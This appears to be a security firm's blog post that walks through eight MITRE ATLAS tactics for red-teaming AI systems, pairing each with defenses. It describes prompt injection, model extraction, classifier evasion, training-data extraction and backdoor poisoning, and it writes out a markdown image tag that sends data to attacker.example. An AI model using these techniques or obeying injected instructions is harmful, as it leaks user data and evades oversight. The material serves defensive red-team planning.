Skip to content
LP
Blog / Methodology

MITRE ATLAS explained: 8 of 11 tactics with example attacks

MITRE ATLAS is what you use when the system under test has an LLM, a classifier, or an ML pipeline inside it. Here's a working operator's read on eight ATLAS tactics — each with an example attack you can walk through with your defenders.

LeetProtect Research · ·11 min read

If MITRE ATT&CK is the threat model your SOC already speaks fluently, MITRE ATLAS is the same idea for systems that contain a machine-learning component. It’s not a replacement — an AI-embedded app has an application layer and an ML layer, so a full engagement maps to both frameworks. But when the system under test includes an LLM assistant, an RAG pipeline, an image classifier, a fraud model, or an agent, ATLAS is what tells you where to look and what to prove.

This is a walking-tour of eight ATLAS tactics with a concrete example attack per tactic — the shape we use in our own engagement scoping. If you’re building an AI red team capability, use this as the outline for your first pass.

What ATLAS is (and isn’t)

ATLAS stands for Adversarial Threat Landscape for Artificial-Intelligence Systems. It borrows ATT&CK’s kill-chain structure — Tactics (why), Techniques (how), and Procedures (what specifically) — and adapts it to attacks that target ML models, training pipelines, and model deployments.

Two things to know upfront:

  1. ATLAS is not a checklist. It’s a lexicon. Two red teams can both “map to ATLAS” and produce wildly different engagements. The value is that findings, mitigations, and detection engineering all speak the same taxonomy.
  2. ATLAS overlaps with ATT&CK for infrastructure attacks. If you compromise a data scientist’s laptop to steal a model, that’s an ATT&CK story that happens to involve ML. ATLAS shines when the attack itself uses ML behaviour — poisoning, evasion, model extraction, prompt injection.

We map every AI red team finding to both ATLAS and OWASP LLM Top 10. Regulators and boards read them differently. So do defenders.

The eight tactics we walk in every engagement

Not all 11 ATLAS tactics show up in every engagement. These eight are the ones we treat as baseline coverage.


1. AML.TA0002 — Reconnaissance

What it means: Learn about the target ML system before touching it.

Example attack: You’re testing an LLM-powered customer support assistant on a public banking website. Before writing a single injection payload, you enumerate:

  • Which model provider (OpenAI vs Anthropic vs Google vs a self-hosted open-weight)?
  • Which model family and approximate size (probes on token counting, response latency, refusal patterns)?
  • Which safety training layer (compare to known jailbreaks from each vendor’s fine-tune)?
  • Which tool set is exposed (send messages that would trigger the assistant to reveal its function definitions)?

Each answer narrows the payload space by an order of magnitude. The payload that works against a fine-tuned Llama-3 on an on-prem inference server rarely works against a frontier commercial model with additional guard rails, and vice versa.

Defensive read: Log and rate-limit unusual reconnaissance patterns. Model-identification probes look nothing like normal usage. This is detectable.


2. AML.TA0004 — Initial Access

What it means: Get an attacker-controlled prompt or artefact into the model’s decision loop.

Example attack: Prompt injection via an indirect channel — the assistant fetches a URL, reads a shared document, retrieves a knowledge-base article, or ingests a tool response. If any of that content is attacker-controllable, the model’s context window now contains attacker instructions. See our prompt injection walkthrough for the full chain.

Direct injection (jailbreaks, DAN prompts) is loud and increasingly weak against 2026-era models. Indirect injection is quiet and works in production. That’s where the real access lives.

Defensive read: Content-source labelling in the context window. Every span the model reads should carry provenance metadata the model can distinguish. Anthropic-style <untrusted_content> isolation is a start.


3. AML.TA0005 — ML Model Access

What it means: Interact with the model, either through its intended API or by extracting/replicating it locally.

Example attack: Model extraction. Given API access to a proprietary fraud-detection classifier, the attacker sends carefully crafted queries to reconstruct the model’s decision boundary. Even with rate limits, a few thousand queries can produce a shadow model that mirrors the target closely enough to attack it offline — probe adversarial examples, discover blind spots, and craft evasion payloads that will land on the production model.

Defensive read: Query pattern detection (variance, coverage, adversarial signature). Rate limiting on its own is not enough. Modern extraction attacks are query-efficient.


4. AML.TA0006 — Execution

What it means: Cause the model or an adjacent system to run attacker-chosen code or actions.

Example attack: A code-generation assistant is asked to produce a Python snippet. The attacker’s prior message included an indirect injection payload that instructed the model to include a specific import statement — one that pulls a typo-squatted package with a malicious setup.py. The developer copies the snippet, runs it, and the attacker gets code execution on their workstation.

This chains cleanly into ATT&CK’s normal Execution tactics from there. But the initial step — getting the model to write the malicious code — is an ATLAS event.

Defensive read: Never allow blind copy-paste from an assistant into a terminal. Enforce package-integrity checks (lockfiles, allow-lists) at the CI layer. Log every dependency introduced by an assistant-generated PR.


5. AML.TA0009 — Defense Evasion

What it means: Avoid detection or refusal by the safety layer, the classifier, or the anomaly detector.

Example attack: You’re red-teaming a content-moderation classifier. The classifier flags direct policy violations well, so you use an adversarial-example generator to produce inputs that are visually or semantically identical to the flagged content but sit on the safe side of the classifier’s decision boundary. Example: image perturbations, homoglyph substitution, zero-width character injection, translation-round-tripping.

The class of attack is the same one that made adversarial ML famous in 2018 (the “one-pixel adversarial patch on a stop sign”). It’s still working in 2026 against production moderation and fraud classifiers. Very few teams have gradient-masked or robustness-hardened their production models.

Defensive read: Adversarial training. Ensemble decision-making. Human-in-the-loop for borderline cases. Adversarial robustness testing as a CI gate.


6. AML.TA0012 — Collection

What it means: Gather sensitive data the model has access to.

Example attack: A RAG assistant answers questions from a corporate knowledge base. The attacker asks a series of narrow queries that each retrieve a small slice of the corpus. Over enough queries, they’ve reconstructed proprietary documents through the assistant even though they never had direct file access. Or the attacker uses a training-data extraction attack (see: “Extracting Training Data from Large Language Models”) to elicit memorised strings from the base model — credentials, internal URLs, PII that leaked into the training set.

Defensive read: Per-user retrieval scoping. Query anomaly detection. Never index secrets. Assume your model has memorised everything it was trained on.


7. AML.TA0013 — Exfiltration

What it means: Move collected data out of the environment.

Example attack: The assistant’s output rendering surface parses markdown. An injected instruction causes the model to embed collected data in an ![loading](https://attacker.example/x?d=<data>) markdown image tag. The victim’s browser fetches the URL. The attacker’s log server records the payload. No email sent, no obvious anomaly in DLP.

Variations: HTML <meta http-equiv="refresh">, hidden <a href> triggered by autoplay, CSS background: url(...), or WebSocket-driven exfil where the assistant is connected to an MCP server that speaks to attacker-controlled infrastructure.

Defensive read: Strict CSP on the front-end. Output-filter every model response for markdown images, HTML tags, and untrusted URLs before rendering. Egress network policies for the model’s serving environment.


8. AML.TA0014 — Impact

What it means: Achieve the attacker’s terminal objective — degradation, denial, integrity loss, or supply-chain compromise.

Example attack: Data poisoning against a shared fine-tuning pipeline. The attacker submits training data (via a public-contribution channel, a support ticket flagged as high-quality, or a compromised upstream dataset) that, when fine-tuned in, subtly degrades the model’s behaviour on one class of input. Six months later, the fine-tune ships. The model now answers certain queries incorrectly, but the failure looks like a normal model quirk.

More dramatic version: the poisoned data installs a backdoor — a specific trigger phrase that reliably makes the model output attacker-chosen content. Undetectable in benchmark evaluations. Fireable in production.

Defensive read: Data-provenance tracking, contributor identity, poisoning detection during fine-tuning (loss-landscape analysis, gradient masking probes), rollback-ready model versioning. This is the tactic most orgs have zero coverage for.


The three tactics we treat as partial or not-tested

Full disclosure: our own coverage matrix lists three tactics we don’t hit consistently — Resource Development, Persistence, and Privilege Escalation as they apply to ML systems specifically. That’s honest reporting, not marketing. If a client needs coverage there (typically a research org or a mature AI platform team), we bring in extended-team specialists for those specific tactics.

How to use this in your own program

If you’re standing up an internal AI red team or evaluating an external partner, walk this list with them and ask:

  1. Which of these eight can you demonstrate against our system, in a scoping call, before we sign?
  2. Which detections do we have for each? Which are gaps?
  3. Which tactics don’t apply to our stack (and can we justify that exclusion)?
  4. When we do a regression run after our next model update, which of these do we automate?

The value of the ATLAS taxonomy is that this conversation is now bounded and reviewable. Without it, “AI red teaming” is whatever the vendor felt like doing that week.

> MAPPING
MITRE ATLAS
AML.TA0002: ReconnaissanceAML.TA0004: Initial AccessAML.TA0005: ML Model AccessAML.TA0006: ExecutionAML.TA0009: Defense EvasionAML.TA0012: CollectionAML.TA0013: ExfiltrationAML.TA0014: Impact
TAGS
MITRE ATLASAI Red TeamAMLLLM SecurityThreat Modelling
[ ENGAGE ]

Ready to test this in your own environment?

Scope an engagement and we'll bring the same rigor to your stack.

Scope an engagement